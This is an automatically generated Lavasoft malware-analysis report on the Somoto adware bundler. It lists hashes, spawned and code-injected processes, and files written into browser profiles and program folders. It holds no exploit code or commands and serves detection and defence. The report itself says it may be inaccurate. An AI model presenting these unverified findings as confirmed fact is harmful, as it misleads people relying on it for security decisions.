Application.Bundler.Somoto.I_7e067d4730

by malwarelabrobot on January 31st, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS) Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 7e067d4730d1830d0b187fc9d5748bbc SHA1: 8c7453ae1d7de8caaab2c2f045570f8cb0a54d3b SHA256: f7c3d917be66558d43ea2767e18a0460c2a026de018e1eb7a6add802e259a946 SSDeep: 3072:z22ihA0m3BJf0AnGz8nRUAHgOODKqrspVudeAy n1nIq1eSXQtJNT6w:MA0m3T0An4oHgXD3rsaDTtgJNTn Size: 165736 bytes File type: EXE Platform: WIN32 Entropy: Packed PEID: UPolyXv05_v6 Company: no certificate found Created at: 2010-12-17 11:14:12 Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

GoogleUpdate.exe:4404
GoogleUpdate.exe:3128
GoogleUpdate.exe:4228
cmdshell.exe:2052
BaofengUpdate.exe:1160
BaofengUpdate.exe:3484
YTAHelper.exe:1496
YouTubeAcceleratorService.exe:2656
YouTubeAcceleratorService.exe:1800
ins_postInst.exe:3504
ProtectService.exe:3368
ProtectService.exe:2632
40.0.2214.94_chrome_installer.exe:3040
jsdrv.exe:2332
appshat.exe:2252
biclient.exe:716
biclient.exe:1640
biclient.exe:600
11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe:3808
GLB1A53.tmp:2896
PING.EXE:1160
PING.EXE:3752
PING.EXE:1784
PING.EXE:4348
PING.EXE:3732
PING.EXE:1984
PING.EXE:3368
PING.EXE:4280
PING.EXE:2348
PING.EXE:3856
PING.EXE:3084
PING.EXE:1792
PING.EXE:3668
PING.EXE:4444
PING.EXE:240
PING.EXE:3996
PING.EXE:1040
PING.EXE:3012
PING.EXE:2312
PING.EXE:3988
PING.EXE:1000
ins_yta.exe:3612
Vlwgfsqfpaz.exe:1440
testlsp.exe:2916
FreeZip920.exe:2304
powershell.exe:3504
powershell.exe:1968
powershell.exe:3696
setup.exe:3136
setup.exe:2364
setup.exe:4376
HPNotify.exe:4156
GLJ1A92.tmp:3112
WerFault.exe:1724
ShopperPro.exe:3932
STab_Down_6.0.6.6.exe:3552
App Lid-codedownloader.exe:1752
App Lid-codedownloader.exe:1764
ins_shopperpro.exe:3960
13BE.tmp:3768
regsvr32.exe:1496
regsvr32.exe:208
regsvr32.exe:4016
regsvr32.exe:3856
regsvr32.exe:3324
regsvr32.exe:3520
lspinst.exe:2620
lspinst.exe:3212
webplayer_installer.exe:4512
YTAHEL~1.EXE:1784
appshat_generic.exe:1808
DCytaiesmt_smtyc_setup.exe:320
cscript.exe:4548
spbiu.exe:5004
spbiu.exe:2632
wscript.exe:4920
XTab_v4.0.exe:3896
taskeng.exe:4360
taskeng.exe:2668
ytaiesmt_smtyc_setup.exe:3916
%original file name%.exe:2944

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:2676
YouTubeAcceleratorService.exe:348
SourceApp.mg.exe:348
YouTubeAccelerator.exe:1032
PING.EXE:348
WebPlayer.exe:4672

Mutexes

The following mutexes were created/opened: No objects were found.

File activity

The process GoogleUpdate.exe:3128 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Google\Update\Download\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\40.0.2214.94\40.0.2214.94_chrome_installer.exe (312970 bytes)
%Program Files% (x86)\Google\Update\Install\{FD0565BD-B5D0-4972-9B70-EF16ED205441}\40.0.2214.94_chrome_installer.exe (331841 bytes)

The process cmdshell.exe:2052 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\806977.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\rebirth[1].htm (1 bytes)

The process BaofengUpdate.exe:1160 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\422.db (220 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\STab_Down_6.0.6.6.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\wpm_v20.0.0.1714.exe (930 bytes)

The process BaofengUpdate.exe:3484 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\57A1.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\index.html (4 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data (1518 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal (6322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (13122 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\57D0.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1422581320_xpi\chrome\skin\newtab.ico (1 bytes)

The process YTAHelper.exe:1496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\config.json (486 bytes)

The process YouTubeAcceleratorService.exe:2676 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2676_YouTubeAcceleratorService.log (207771 bytes)
C:\Windows\Temp\SBC3B70.tmp (547 bytes)
C:\Windows\Temp\SBC52B3.tmp (98 bytes)
C:\Windows\Temp\SBC496E.tmp (98 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC587F.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2676.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC53BD.tmp (44 bytes)
C:\Windows\Temp\SBC7FED.tmp (547 bytes)
C:\Windows\Temp\SBC50AF.tmp (44 bytes)

The process YouTubeAcceleratorService.exe:348 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ins_postInst.exe:3504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_24880\ins_shopperpro.exe (17154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_24031\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_24031\ins_postInst.exe (7726 bytes)

The process ProtectService.exe:3368 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)

The process 40.0.2214.94_chrome_installer.exe:3040 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\CR_16230.tmp\SETUP.EX_ (375 bytes)
C:\Windows\Temp\CR_16230.tmp\setup.exe (17361 bytes)
C:\Windows\Temp\CR_16230.tmp\CHROME.PACKED.7Z (44833 bytes)

The process YouTubeAccelerator.exe:1032 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1032.log (79883 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E77.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E56.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2916_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7DA8.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E9C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E89.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2916_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1032.log_tmp (14 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F1D.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2916_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F42.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2676_YouTubeAcceleratorService.log_tmp (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2916.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (193666 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2676.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7EAE.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F58.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F44.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F46.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E9A.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F31.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F1F.tmp (682 bytes)

The process jsdrv.exe:2332 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\21KADDXO.txt (135 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process appshat.exe:2252 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\System.dll (23 bytes)
